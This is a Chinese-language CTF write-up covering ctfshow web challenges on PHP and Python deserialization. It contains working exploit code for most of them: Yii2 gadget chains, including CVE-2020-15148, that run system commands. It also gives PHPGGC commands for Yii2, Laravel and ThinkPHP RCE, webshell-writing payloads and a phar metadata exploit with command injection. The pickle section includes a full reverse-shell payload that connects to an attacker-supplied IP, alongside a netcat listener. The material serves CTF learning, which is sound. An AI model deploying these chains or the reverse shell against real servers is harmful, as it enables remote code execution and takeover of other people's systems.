php://input 是 PHP 的一个输入流,能读取到 POST 请求的原始数据(无论 Content-Type 是什么)。 这里因为他会过滤掉ctfshow所以需要大写类名,PHP 的类名不区分大小写,unserialize 时 CtfShow 依然会被识别为 ctfshow 类。 图片.png exp

php
<?php class Ctfshow{ public $username; public $password; public function __construct($u,$p){ $this->username=$u; $this->password=$p; } public function login(){ return $this->username===$this->password; } public function __toString(){ return $this->username; } public function __destruct(){ global $flag; echo $flag; } } echo serialize(new ctfshow('xxxxxx','xxxxxx')); ?>

图片.png

web267

打开进入到登录界面,看到是remeberme以为是shiro,识别发现是yii框架 图片.png

问了问ai,说是yii2

图片.png

比较有名的是这个

图片.png

一开始想按照完整的去打,结果发现读不到cookieValidationKey,于是搜了搜发现是弱口令登录admin/admin后再去读about的后门源码

图片.png

使用cve-2020-15148的poc去执行,这里使用passthru

php
<?php namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct(){ // 方案1:有回显,直接看目录 $this->checkAccess = 'passthru'; $this->id = 'ls -al /'; // 方案2:直接读flag(如果知道路径) // $this->id = 'cat /flag'; // 方案3:写shell(无回显时用) // $this->checkAccess = 'shell_exec'; // $this->id = "echo '<?php eval(\$_GET[1]);?>' > shell.php"; } } } namespace Faker{ use yii\rest\CreateAction; class Generator{ protected $formatters; public function __construct(){ $this->formatters['close'] = [new CreateAction, 'run']; } } } namespace yii\db{ use Faker\Generator; class BatchQueryResult{ private $_dataReader; public function __construct(){ $this->_dataReader = new Generator; } } } namespace{ echo base64_encode(serialize(new yii\db\BatchQueryResult)); } ?>

传参 图片.png

图片.png

图片.png

web268

一样的界面 图片.png

一样的利用,却无回显,所以需要写入shell

图片.png

换链子写shell不行,只能复制到33.txt

php
<?php namespace yii\rest { class Action { public $checkAccess; } class IndexAction { public function __construct($func, $param) { $this->checkAccess = $func; $this->id = $param; } } } namespace yii\web { abstract class MultiFieldSession { public $writeCallback; } class DbSession extends MultiFieldSession { public function __construct($func, $param) { $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"]; } } } namespace yii\db { use yii\base\BaseObject; class BatchQueryResult { private $_dataReader; public function __construct($func, $param) { $this->_dataReader = new \yii\web\DbSession($func, $param); } } } namespace { $exp = new \yii\db\BatchQueryResult('shell_exec', 'cp /f* 33.txt'); echo(base64_encode(serialize($exp))); }

图片.png

提示

2. 什么是"魔法方法"?

PHP 对象里有一些名字固定、自动触发的函数:

魔法方法什么时候自动触发?类比
__destruct()对象被销毁时(比如页面结束)机器人被扔掉前,自动执行"自毁程序"
__wakeup()对象被反序列化唤醒时机器人被拼装完成,通电启动
__call($name, $args)调用了一个不存在的方法时你对机器人喊"起飞",它没有这个功能,但触发了一个备用程序
__toString()对象被当成字符串使用时机器人被强行要求变成一张说明书

攻击者的思路:控制反序列化的数据,让魔法方法按我们想要的顺序触发,最终执行危险操作(比如 system('cat /flag'))。

3. 什么是"Gadget Chain"(POP 链)?

一个类里的魔法方法只能做一点小事(比如调用另一个方法)。但如果我们把多个类串起来,像多米诺骨牌一样,一块推倒一块,最终就能触发大招。

这就是 Gadget Chain(也叫 POP 链,Property-Oriented Programming)。

类A的__destruct() → 调用类B的方法 → 触发类B的__call() → 调用类C的方法 → 最终执行 system('cat /flag')

4. PHPGGC 是什么?

PHPGGC = PHP Generic Gadget Chains

它是一个开源工具(GitHub 地址),作者把各大框架(Yii2、Laravel、Symfony 等)的 Gadget Chain 都研究透了,做成了一键生成器。

类比:就像做炸弹,以前你要自己买火药、配引线、算时间。现在 PHPGGC 是一个"炸弹生成器",你输入 框架名 攻击类型 命令,它直接给你生成装好火药的炸弹。

bash
# 生成 Yii2 反序列化 payload,执行 whoami,输出 base64 ./phpggc Yii2/RCE1 system "whoami" --base64

二、Yii2 的五条经典利用链


链1:CVE-2020-15148(web267 用的)

故事版:

你造了一个叫 BatchQueryResult 的机器人。按照设计,它被销毁时(__destruct)会清理现场,调用一个叫 close() 的清理程序。但你偷偷把清理程序换成了 Faker\Generator(一个"万能应答机")。这个应答机没有 close() 功能,于是触发了它的 __call() 备用程序。备用程序里你放了一张纸条:"去执行 CreateAction::run()"。run() 里面有个按钮叫 call_user_func,你提前把按钮标签换成了 system,参数换成了 cat /flag。按钮一按,flag 出来了。

代码拆解:

php
// 第1步:起点 - 对象销毁 namespace yii\db { class BatchQueryResult { private $_dataReader; // 你控制这里 public function __destruct() { $this->reset(); // 自动调用 } public function reset() { if ($this->_dataReader !== null) { $this->_dataReader->close(); // 调用 close() } } } }
php
// 第2步:中间跳板 - Faker 应答机 namespace Faker { class Generator { protected $formatters = []; // 你控制这里 public function __call($method, $attributes) { // $method = 'close' // 从 formatters['close'] 取回调 $callback = $this->formatters[$method]; // [CreateAction, 'run'] return call_user_func_array($callback, $attributes); } } }
php
// 第3步:终点 - 执行命令 namespace yii\rest { class CreateAction { public $checkAccess = 'system'; // 你控制:函数名 public $id = 'cat /flag'; // 你控制:参数 public function run() { if ($this->checkAccess) { call_user_func($this->checkAccess, $this->id); // system('cat /flag') } } } }

你的构造:

php
$gen = new Faker\Generator(); $gen->formatters['close'] = [new CreateAction(), 'run']; $bqr = new BatchQueryResult(); $bqr->_dataReader = $gen; // 把应答机塞进去 echo base64_encode(serialize($bqr));

为什么 web267 能用? 因为 web267 的 Yii2 版本低于 2.0.38,BatchQueryResult 还没有防护。


链2:DbSession 链(你的"链A")

故事版:

这条链和链1的起点一样,都是 BatchQueryResult 被销毁。但中间跳板换成了 DbSession(数据库会话管理器)。DbSession 有个特性:它保存会话时会触发 writeCallback。你把 writeCallback 设成了 IndexAction::run()。但 IndexAction::run() 有个毛病——执行完你的命令后,它非要再查一下数据库准备数据。数据库没配好,它就报错。Yii2 一报错,就把页面输出全清空了,所以你用 passthru 明明输出了 flag,却被"擦黑板"擦掉了。

代码拆解:

php
// 中间跳板 - DbSession namespace yii\web { class DbSession { public $writeCallback; // 你控制这里 // 当会话被写入时... public function writeSession($id, $data) { // ... if ($this->writeCallback !== null) { // 触发回调:IndexAction::run() call_user_func($this->writeCallback, $this); } } // close() 被调用时也会触发写入 public function close() { $this->writeSession(...); } } }
php
// 终点 - IndexAction(注意不是 CreateAction) namespace yii\rest { class IndexAction { public $checkAccess; public $id; public function run() { // 先执行你的命令 if ($this->checkAccess) { call_user_func($this->checkAccess, $this->id); } // 然后!!强制调用 prepareDataProvider() $dataProvider = $this->prepareDataProvider(); // 这里报错! } } }

关键问题:

  • IndexAction::run() 执行完 checkAccess 后,一定会调用 prepareDataProvider()
  • 如果 prepareDataProvider 没配置(默认 null),就会抛出异常
  • Yii2 的异常处理会清空输出缓冲区(ob_clean()),导致 passthru 的输出被吞掉
  • 但 shell_exec 是"后台执行",不受输出缓冲区影响,所以写文件能成功

为什么你加 Closure 会炸?

php
$this->prepareDataProvider = function() { return []; };

PHP 的 serialize() 从语言层面禁止序列化匿名函数。你想用匿名函数阻止报错,但 PHP 根本不让序列化它,所以生成 payload 时就报 Fatal error。


链3:SwiftMailer 链(web268 用的,你的"链B")

故事版:

既然 BatchQueryResult 被加了防护(__wakeup 一碰就炸),那就不用它做起点!你找到了邮件库 SwiftMailer 里的 Swift_KeyCache_DiskKeyCache。它销毁时会清理缓存文件,清理过程中会把一个对象当字符串用(触发 __toString)。这个对象是 See(文档注释标签),它变成字符串时会调用 render()。render() 又调用了 Faker\Generator 的 render() 方法——但 Generator 没有 render(),于是触发 __call(),最终走到 CreateAction::run()。全程没有碰 BatchQueryResult,完美绕过!

代码拆解:

php
// 第1步:新起点 - SwiftMailer 的缓存 namespace { class Swift_KeyCache_DiskKeyCache { private $keys = []; private $path; // 你控制这里 public function __destruct() { foreach ($this->keys as $key => $null) { $this->clearKey($this->path, $key); // $this->path 是 See 对象 } } public function clearKey($nsKey, $itemKey) { // 这里把 $nsKey(See 对象)当字符串用! $this->clearFile($this->getFileName($nsKey, $itemKey)); } public function getFileName($nsKey, $itemKey) { // 字符串拼接!$nsKey 被强制转成字符串 return $nsKey . '/' . $itemKey; // 触发 See::__toString() } } }
php
// 第2步:__toString 跳板 namespace phpDocumentor\Reflection\DocBlock\Tags { class See { protected $description; // 你控制这里(放 Generator) public function __toString() { return $this->description->render(); // 调用 Generator->render() } } }
php
// 第3步:__call 跳板(老朋友了) namespace Faker { class Generator { protected $formatters = []; // 你控制这里 public function __call($method, $args) { // $method = 'render' $callback = $this->formatters['render']; // [CreateAction, 'run'] return call_user_func_array($callback, $args); } } }
php
// 第4步:终点(和链1一样) namespace yii\rest { class CreateAction { public $checkAccess = 'passthru'; public $id = 'cat /flag'; public function run() { call_user_func($this->checkAccess, $this->id); } } }

为什么 web268 必须用这条链?

  • web268 的 Yii2 版本 >= 2.0.38,BatchQueryResult 被加了 __wakeup 防护
  • 这条链的起点是 SwiftMailer(第三方邮件库),不是 Yii2 的 BatchQueryResult
  • 完全绕过 __wakeup 限制

链4:Codeception 链(另一条绕过 __wakeup 的路)

故事版:

又有人找到了另一个起点:Codeception\Extension\RunProcess。这是一个测试框架的扩展,销毁时会检查进程是否在运行。检查过程中会调用 isRunning(),而 isRunning() 又调用了 Faker\ValidGenerator 的一个不存在的方法,触发 __call(),最终也能走到执行命令的地方。

代码拆解:

php
// 起点:Codeception 的进程管理 namespace Codeception\Extension { class RunProcess { protected $processes = []; // 你控制这里 public function __destruct() { $this->stopProcess(); // 清理进程 } public function stopProcess() { foreach ($this->processes as $process) { if (!$process->isRunning()) { // 调用 isRunning() // ... } } } } }
php
// 中间跳板:Faker 的验证器 namespace Faker { class ValidGenerator { protected $generator; // 你控制这里 public function __call($method, $args) { // $method = 'isRunning' return $this->generator->$method(...$args); // 调用 DefaultGenerator->isRunning() } } class DefaultGenerator { protected $default; // 你控制这里 public function __call($method, $args) { // 返回 default,但在此之前可以触发其他逻辑 return $this->default; } } }

适用场景:目标环境安装了 Codeception 测试框架时可用。


链5:Guzzle + PHPUnit 链(不经过 Yii2 的 Action)

故事版:

这条链更"野"。起点还是 BatchQueryResult,但中间不经过 Faker 或 CreateAction。它利用了 HTTP 客户端库 Guzzle 的 FnStream——这是一个"函数流",关闭时会触发一个回调函数。你把回调设成了 PHPUnit 测试框架的 MockTrait::generate(),这个函数会生成一段 PHP 代码并执行 eval()。eval() 里你可以写任意 PHP 代码,比如 file_put_contents('shell.php', '<?php eval($_POST[1]);?>')。

代码拆解:

php
// 中间跳板:Guzzle 的函数流 namespace GuzzleHttp\Psr7 { class FnStream { private $_fn_close; // 你控制这里 public function close() { call_user_func($this->_fn_close); // 直接执行回调! } } }
php
// 终点:PHPUnit 的 Mock 生成器 namespace PHPUnit\Framework\MockObject { class MockTrait { private $classCode; // 你控制这里(PHP 代码字符串) public function generate() { eval($this->classCode); // 执行任意 PHP 代码! } } }

为什么这条链厉害?

  • 不依赖 CreateAction::run(),直接 eval() 执行 PHP 代码
  • 可以写 file_put_contents、system、eval($_POST[1]) 等任意操作
  • 但需要目标同时安装 Guzzle 和 PHPUnit

三、__wakeup 防御与绕过(核心考点)

Yii2 2.0.38 的修复

Yii2 开发者发现 BatchQueryResult 被滥用,于是加了一行代码:

php
class BatchQueryResult { public function __wakeup() { throw new \LogicException('You cannot unserialize this object.'); } }

什么意思?

  • 以前:反序列化 BatchQueryResult → 对象复活 → 脚本结束 → __destruct() → 触发链
  • 现在:反序列化 BatchQueryResult → 触发 __wakeup() → 直接抛异常,对象销毁,链断了

类比:你在多米诺骨牌第一块前面修了一堵墙,骨牌根本立不起来。

绕过思路:换起点!

墙只修在 BatchQueryResult 前面,但院子里还有其他骨牌:

绕过链新起点是否触发 __wakeup?
链3(SwiftMailer)Swift_KeyCache_DiskKeyCache❌ 没有 __wakeup
链4(Codeception)Codeception\Extension\RunProcess❌ 没有 __wakeup

核心思想:__wakeup 只保护被修复的类,其他类的 __destruct() 依然可用。


四、PHPGGC 详解与使用

是什么?

PHPGGC(PHP Generic Gadget Chains)是一个开源工具,把各大框架的 Gadget Chain 做成了命令行生成器。

类比:就像游戏里的"技能书",你不用自己研究怎么搓火球术,输入指令直接释放。

安装

bash
git clone https://github.com/ambionics/phpggc.git cd phpggc

查看支持的 Yii2 链

bash
./phpggc -l yii2

图片.png 图片.png 输出大概长这样:

Yii2/RCE1 * 2.0.38 RCE (Function call) __destruct Yii2/RCE2 * 2.0.38 RCE (PHP code) __destruct Yii2/RCE3 * 2.0.38 RCE (Function call) __destruct Yii2/RCE4 * 2.0.38 RCE (Function call) __destruct

生成 Payload

bash
# 链1:Function call,适合 system/passthru/exec ./phpggc Yii2/RCE1 system "cat /flag" --base64 # 链2:PHP code eval,适合写 shell ./phpggc Yii2/RCE2 'file_put_contents("shell.php","<?php eval(\$_POST[1]);?>");' --base64 # 链3/4:其他绕过链 ./phpggc Yii2/RCE3 passthru "ls -al" --base64

为什么 web268 不能直接用 PHPGGC 默认链?

因为 PHPGGC 的 Yii2/RCE1~4 默认起点都是 BatchQueryResult,而 web268 的 BatchQueryResult 被 __wakeup 封了。所以必须手动构造链3(SwiftMailer)或链4(Codeception),或者等 PHPGGC 更新支持新链。


五、实战对照表

题目环境特征该用哪条链你的问题原因
web267Yii2 < 2.0.38,有 Faker链1(BatchQueryResult → Faker → CreateAction)正常出 flagBatchQueryResult 无防护,CreateAction::run() 执行完直接结束,无后遗症
web268Yii2 >= 2.0.38 或过滤链1链3(SwiftMailer → See → Faker → CreateAction)链1失效,必须用链3BatchQueryResult 被 __wakeup 封了;且 IndexAction 有 prepareDataProvider 后遗症
你的链A(DbSession)同 web267 环境能用但只能盲打passthru 无回显IndexAction::run() 报错触发 Yii2 错误处理,清空输出缓冲区
你的 Closure 尝试任何环境❌ 不可用Fatal error: Serialization of Closure is not allowedPHP 核心禁止序列化匿名函数

web269

一样的

web270

一样的

web271

php
<?php /** * Laravel - A PHP Framework For Web Artisans * * @package Laravel * @author Taylor Otwell <taylor@laravel.com> */ define('LARAVEL_START', microtime(true)); /* |-------------------------------------------------------------------------- | Register The Auto Loader |-------------------------------------------------------------------------- | | Composer provides a convenient, automatically generated class loader for | our application. We just need to utilize it! We'll simply require it | into the script here so that we don't have to worry about manual | loading any of our classes later on. It feels great to relax. | */ require __DIR__ . '/../vendor/autoload.php'; /* |-------------------------------------------------------------------------- | Turn On The Lights |-------------------------------------------------------------------------- | | We need to illuminate PHP development, so let us turn on the lights. | This bootstraps the framework and gets it ready for use, then it | will load up this application so that we can run it and send | the responses back to the browser and delight our users. | */ $app = require_once __DIR__ . '/../bootstrap/app.php'; /* |-------------------------------------------------------------------------- | Run The Application |-------------------------------------------------------------------------- | | Once we have the application, we can handle the incoming request | through the kernel, and send the associated response back to | the client's browser allowing them to enjoy the creative | and wonderful application we have prepared for them. | */ $kernel = $app->make(Illuminate\Contracts\Http\Kernel::class); $response = $kernel->handle( $request = Illuminate\Http\Request::capture() ); @unserialize($_POST['data']); highlight_file(__FILE__); $kernel->terminate($request, $response);

Laravel 是一个基于 PHP 的开源 Web 应用框架,由 Taylor Otwell 创建,用于快速开发高质量的 Web 应用程序。

确定版本 图片.png

这里使用6链

php ./phpggc -l laravel

图片.png

这里是遇到了/和=的转义问题,所以我们进行base64编码并去掉=号

php phpggc Laravel/RCE6 'eval(base64_decode("c3lzdGVtKCJjYXQgL2ZsYWciKTs"));' -u

图片.png 获得flag

图片.png

这里给个别人的wp

php
<?php namespace Illuminate\Foundation\Testing{ class PendingCommand{ protected $command; protected $parameters; protected $app; public $test; public function __construct($command, $parameters,$class,$app){ $this->command = $command; $this->parameters = $parameters; $this->test=$class; $this->app=$app; } } } namespace Illuminate\Auth{ class GenericUser{ protected $attributes; public function __construct(array $attributes){ $this->attributes = $attributes; } } } namespace Illuminate\Foundation{ class Application{ protected $hasBeenBootstrapped = false; protected $bindings; public function __construct($bind){ $this->bindings=$bind; } } } namespace{ $genericuser = new Illuminate\Auth\GenericUser( array( "expectedOutput"=>array("0"=>"1"), "expectedQuestions"=>array("0"=>"1") ) ); $application = new Illuminate\Foundation\Application( array( "Illuminate\Contracts\Console\Kernel"=> array( "concrete"=>"Illuminate\Foundation\Application" ) ) ); $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand( "system",array('cat /flag'), $genericuser, $application ); echo urlencode(serialize($pendingcommand)); } ?>

web272

链6依旧可以

这里给个别人的wp

php
<?php namespace Illuminate\Broadcasting{ use Illuminate\Bus\Dispatcher; use Illuminate\Foundation\Console\QueuedCommand; class PendingBroadcast { protected $events; protected $event; public function __construct(){ $this->events=new Dispatcher(); $this->event=new QueuedCommand(); } } } namespace Illuminate\Foundation\Console{ use Mockery\Generator\MockDefinition; class QueuedCommand { public $connection; public function __construct(){ $this->connection=new MockDefinition(); } } } namespace Illuminate\Bus{ use Mockery\Loader\EvalLoader; class Dispatcher { protected $queueResolver; public function __construct(){ $this->queueResolver=[new EvalLoader(),'load']; } } } namespace Mockery\Loader{ class EvalLoader { } } namespace Mockery\Generator{ class MockConfiguration { protected $name="feng"; } class MockDefinition { protected $config; protected $code; public function __construct() { $this->code="<?php system('cat /flag');exit()?>"; $this->config=new MockConfiguration(); } } } namespace{ use Illuminate\Broadcasting\PendingBroadcast; echo urlencode(serialize(new PendingBroadcast())); }

web273

链6依旧可以

别人的wp同上一个

web274

进来直接告诉我是啥了,开登 图片.png

全部不存在!!!看了看没有检测反序列化

图片.png

可以传参data,他会反序列化解码base64后的,所以这里要传一个base64 图片.png

php ./phpggc -l thinkphp

图片.png

使用-b输出

php phpggc ThinkPHP/RCE1 system 'ls' -b

图片.png 传参 图片.png

web275

php
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-08 19:13:36 # @Last Modified by: h1xa # @Last Modified time: 2020-12-08 20:08:07 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ highlight_file(__FILE__); class filter{ public $filename; public $filecontent; public $evilfile=false; public function __construct($f,$fn){ $this->filename=$f; $this->filecontent=$fn; } public function checkevil(){ if(preg_match('/php|\.\./i', $this->filename)){ $this->evilfile=true; } if(preg_match('/flag/i', $this->filecontent)){ $this->evilfile=true; } return $this->evilfile; } public function __destruct(){ if($this->evilfile){ system('rm '.$this->filename); } } } if(isset($_GET['fn'])){ $content = file_get_contents('php://input'); $f = new filter($_GET['fn'],$content); if($f->checkevil()===false){ file_put_contents($_GET['fn'], $content); copy($_GET['fn'],md5(mt_rand()).'.txt'); unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']); echo 'work done'; } }else{ echo 'where is flag?'; } where is flag?

析构函数,在对象被销毁时自动调用(如脚本结束、unset 等)。

主程序逻辑

php
if(isset($_GET['fn'])){
  • 检查 GET 参数中是否存在 fn 变量。
  • 如果存在,进入分支。
php
$content = file_get_contents('php://input');
  • file_get_contents('php://input') 读取 HTTP 请求的原始 POST 数据(非表单格式),以字符串形式存储在 $content 中。
php
$f = new filter($_GET['fn'], $content);
  • 创建 filter 类的实例 $f。
  • 传入参数:$_GET['fn'](用户控制的文件名)和 $content(原始 POST 数据)。
  • 对应构造函数:filename = $_GET['fn'],filecontent = $content。
php
if($f->checkevil() === false){
  • 调用 checkevil() 方法,并严格比较返回值是否等于 false(类型和值都相同)。
  • 如果 checkevil() 返回 false,说明文件未被标记为恶意,进入文件操作逻辑。
  • 注意:这里使用了 ===,所以只有当 $evilfile 为 false 时才会进入。
php
file_put_contents($_GET['fn'], $content);
  • 将 $content(POST 数据)写入到名为 $_GET['fn'] 的文件中。
  • 如果文件不存在则创建,如果存在则覆盖。
  • 此处也存在任意文件写入漏洞,但需要先通过 checkevil() 的检测。
php
copy($_GET['fn'], md5(mt_rand()).'.txt');
  • 将刚写入的文件复制成一个随机文件名的 .txt 文件。
  • 文件名由 md5(mt_rand()) 生成,用于“隐藏”原始文件。
php
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
  • 删除原始文件。
  • $_SERVER['DOCUMENT_ROOT'] 是网站根目录的路径,拼接 / 和 $_GET['fn'] 得到完整路径。
  • 这一步是为了删除用户刚上传的文件,避免留下后门。

方法一:让文件名 fn 包含 php 或 ..,例如 shell.php。

方法二:让 POST 数据(filecontent)包含 flag 字符串,例如发送 flag=1。

传一个fn,传一个flag,注意不能有" 图片.png

web276

php
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-08 19:13:36 # @Last Modified by: h1xa # @Last Modified time: 2020-12-08 20:08:07 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ highlight_file(__FILE__); class filter{ public $filename; public $filecontent; public $evilfile=false; public $admin = false; public function __construct($f,$fn){ $this->filename=$f; $this->filecontent=$fn; } public function checkevil(){ if(preg_match('/php|\.\./i', $this->filename)){ $this->evilfile=true; } if(preg_match('/flag/i', $this->filecontent)){ $this->evilfile=true; } return $this->evilfile; } public function __destruct(){ if($this->evilfile && $this->admin){ system('rm '.$this->filename); } } } if(isset($_GET['fn'])){ $content = file_get_contents('php://input'); $f = new filter($_GET['fn'],$content); if($f->checkevil()===false){ file_put_contents($_GET['fn'], $content); copy($_GET['fn'],md5(mt_rand()).'.txt'); unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']); echo 'work done'; } }else{ echo 'where is flag?'; }

上一个就不行了,要求admin为真

这种方法不行--尝试写入.htaccess文件 图片.png 然后写入txt,但是发现不解析 图片.png

phar反序列化

https://www.freebuf.com/articles/web/305292.html

当 PHP 文件操作函数(如 file_get_contents、fopen、copy、file_exists 等)处理一个 phar:// 伪协议路径时,PHP 会自动读取该 phar 文件的 metadata 部分,并将其反序列化,从而实例化其中存储的对象。 如果对象中定义了魔术方法(如 __destruct),在对象生命周期结束时就会自动触发。

本题中,copy($_GET['fn'], md5(mt_rand()).'.txt') 的源参数 $_GET['fn'] 完全可控。 如果传入 phar://1.phar/1.txt,copy 会去读取 phar 文件中的 1.txt,同时反序列化其 metadata,触发对象创建和销毁,最终执行 __destruct() 中的命令。

写脚本创建2.phar

php
<?php class filter{ public $filename; public $filecontent; public $evilfile = false; public $admin = false; } $a = new filter(); $a->filename = ';ls'; // 命令注入,通配符绕过 flag 检测 $a->filecontent = '1'; $a->evilfile = true; $a->admin = true; $phar = new Phar('2.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ?>'); $phar->setMetadata($a); // 存储恶意对象 $phar->addFromString('1.txt', 'dky'); // 添加内部文件,确保 phar:// 访问有效 $phar->stopBuffering(); echo "phar created\n"; ?>

创建 图片.png 使用curl写入 图片.png

触发反序列化 图片.png、

更改命令为

图片.png 图片.png

常见 phar 反序列化特征总结

  • 文件操作函数:file_exists、fopen、copy、file_get_contents、unlink、md5_file 等,且参数可控。
  • 存在魔术方法:__destruct、__wakeup、__toString 等,内部有危险操作(如 system、eval)。
  • 需要控制对象属性:某些属性默认值无法满足条件,必须通过反序列化修改。
  • 可以上传或生成 phar 文件:如本题的文件写入功能,或存在上传点。

web277

图片.png

pickle 反序列化

https://xz.aliyun.com/news/7032#toc-5

这个注释提示了一个 Python 后门接口:/backdoor?data=,其中 data 参数会先进行 base64 解码,然后通过 pickle.loads() 反序列化。 pickle 反序列化漏洞可以导致任意代码执行,因为 pickle 允许序列化对象并在反序列化时自动调用某些方法(如 __reduce__),攻击者可构造恶意 pickle 数据,使其在反序列化时执行系统命令(例如读取 flag 文件)。

图片.png

py
import pickle import base64 import subprocess class Evil: def __reduce__(self): # 先执行 ls 看看 flag 在哪 return (subprocess.check_output, (['ls', '-la'],)) payload = pickle.dumps(Evil()) b64 = base64.b64encode(payload).decode() print(b64)

无回显, 图片.png

反弹shell

图片.png

py
import pickle import base64 import subprocess # ========== 改成你的 ========== IP = "" # 例如 "1.2.3.4" PORT = 5555 # ============================ # Python 反弹 shell 代码(base64 编码避免引号地狱) py_code = f"import socket,subprocess,os;s=socket.socket();s.connect(('{IP}',{PORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])" py_b64 = base64.b64encode(py_code.encode()).decode() class Evil: def __reduce__(self): # 目标用 python 解码执行反弹 shell return (subprocess.Popen, (['python', '-c', f'import base64;exec(base64.b64decode("{py_b64}"))'],)) payload = pickle.dumps(Evil()) b64 = base64.b64encode(payload).decode() print(b64)

成功 图片.png

提示

两个都能工作,核心原因是 subprocess 是纯 Python 模块,不是平台相关的 C 扩展,所以 subprocess.Popen 和 subprocess.check_output 在所有平台上 pickle 出来的结果都一样,都是 subprocess.Popen / subprocess.check_output。

而之前 os.system 不行,是因为 os.system 在底层是 nt.system(Windows)或 posix.system(Linux),是平台相关的 C 函数,pickle 会记录真实的底层模块名。

提示

一、概念

1. 序列化 = 把对象"冻"起来

想象你有一个活蹦乱跳的乐高积木城堡(Python对象),你想把它寄给朋友。你不能直接寄一座城堡,你得把它拆成一块块积木,装进盒子,贴上说明书。

这个过程就叫 序列化(Serialize)。

在 Python 里,pickle.dumps() 就是那个"装盒"的动作:

python
import pickle data = {"name": "小明", "age": 18} box = pickle.dumps(data) # 把字典"冻"成二进制字节

2. 反序列化 = 把盒子"复活"

朋友收到盒子,按照说明书把积木拼回城堡。

这个过程叫 反序列化(Deserialize):

python
revived = pickle.loads(box) # 把二进制字节"复活"成字典 print(revived) # {'name': '小明', 'age': 18}

二、Pickle 是什么?

  • Python 自带的序列化库
  • 能把几乎所有 Python 对象变成二进制,也能变回来
  • 格式是 Python 专属的,别的语言读不了

⚠️ 重要警告:Python 官方文档明确说 —— 永远不要反序列化不信任来源的 pickle 数据!


三、漏洞是怎么产生的?

正常情况:复活一个对象

假设你有一个"学生"类:

python
class Student: def __init__(self, name): self.name = name s = Student("小明") box = pickle.dumps(s) # 装盒 s2 = pickle.loads(box) # 复活 → 得到一个新的 Student("小明")

恶意情况:复活的时候干坏事

Pickle 在反序列化时,有一个特殊的"后门"方法叫 __reduce__。

__reduce__ 本来是用来告诉 pickle:"我复活的时候该怎么重建自己"

但攻击者可以篡改这个说明书:

python
import pickle import os class Evil: def __reduce__(self): # 正常情况下这里应该返回怎么重建 Evil 对象 # 但攻击者返回了一个"函数调用指令" return (os.system, ('ls',)) # ← 相当于说:复活时执行 os.system('ls') box = pickle.dumps(Evil()) pickle.loads(box) # 💥 执行了 ls 命令!

四、底层原理(不用怕,用故事讲)

Pickle 反序列化时,内部有一个**"小机器人"**在按指令干活。这些指令叫 Opcode(操作码)。

你的 __reduce__ 返回的内容,会被翻译成这样的"机器人指令":

1. 把 'posix' 放到桌上 2. 把 'system' 放到桌上 3. 【STACK_GLOBAL】把桌上两个名字拼起来 → posix.system(也就是 os.system) 4. 把 'ls' 放到桌上 5. 【TUPLE1】把 'ls' 包成一个小包裹 → ('ls',) 6. 【REDUCE】🔥 执行!posix.system('ls') 🔥 7. 结束

REDUCE 这个指令就是"执行函数调用"的意思。

攻击者利用的就是这一点:让 REDUCE 执行的不是"重建对象",而是"执行系统命令"。


五、为什么你的脚本用 subprocess 而不是 os.system?

坑:os.system 跨平台会炸

在 Windows 上:

python
import os os.system.__module__ # → 'nt' (Windows 底层是 nt 模块)

在 Linux 上:

python
os.system.__module__ # → 'posix' (Linux 底层是 posix 模块)

Pickle 记录的是函数的真实出身!

如果你在 Windows 上 pickle os.system,它会被记录为 nt.system。传到 Linux 服务器上一反序列化,服务器找不到 nt 模块,直接报错。

解决:用 subprocess(纯 Python,全平台通用)

python
import subprocess subprocess.Popen.__module__ # → 'subprocess' (所有平台都一样!)

subprocess 是纯 Python 写的标准库,不是 C 底层函数,所以不管你在 Windows 还是 Linux 上 pickle,结果都是 subprocess.Popen,跨平台完美兼容。


六、CTF 实战:反弹 Shell 完整流程

目标后端代码(漏洞点)

python
import base64 import pickle data = request.form.get('data') # 你传的数据 m = base64.b64decode(data) m = pickle.loads(m) # ← 危险!直接反序列化用户输入

攻击脚本(Windows 生成,Linux 执行)

python
import pickle import base64 import subprocess # ========== 改成你的 ========== IP = "你的服务器IP" PORT = 9999 # ============================ # 1. 准备反弹 shell 的 Python 代码 py_code = f"import socket,subprocess,os;s=socket.socket();s.connect(('{IP}',{PORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])" py_b64 = base64.b64encode(py_code.encode()).decode() # 2. 构造恶意对象 class Evil: def __reduce__(self): # 反序列化时执行:subprocess.Popen(['python', '-c', '反弹shell代码']) return (subprocess.Popen, (['python', '-c', f'import base64;exec(base64.b64decode("{py_b64}"))'],)) # 3. 序列化 + base64 编码 payload = pickle.dumps(Evil()) b64 = base64.b64encode(payload).decode() print(b64) # 把这串 base64 传给题目

在你的服务器上监听

bash
nc -lvvp 9999

把输出的 base64 传给题目

题目服务器反序列化时 → 启动 python 进程 → 连接回你的 nc → 拿到 shell!


七、攻击流程图

[攻击者电脑] [目标服务器] │ │ │ 1. 生成恶意 pickle │ │ __reduce__ 返回 │ │ (subprocess.Popen, [...]) │ │ │ │ 2. base64 编码后发送 ──────→│ │ │ │ 3. 解码 base64 │ 4. pickle.loads() │ │ │ 5. REDUCE 执行 │ subprocess.Popen( │ ['python','-c','反弹shell'] │ ) │ │ │←──────────────────────── 6. 连接回来! │ │ [nc 收到 shell] [目标被控制]

web278

过滤了os.system,但是没影响,我们上关用的subprocess

同理 图片.png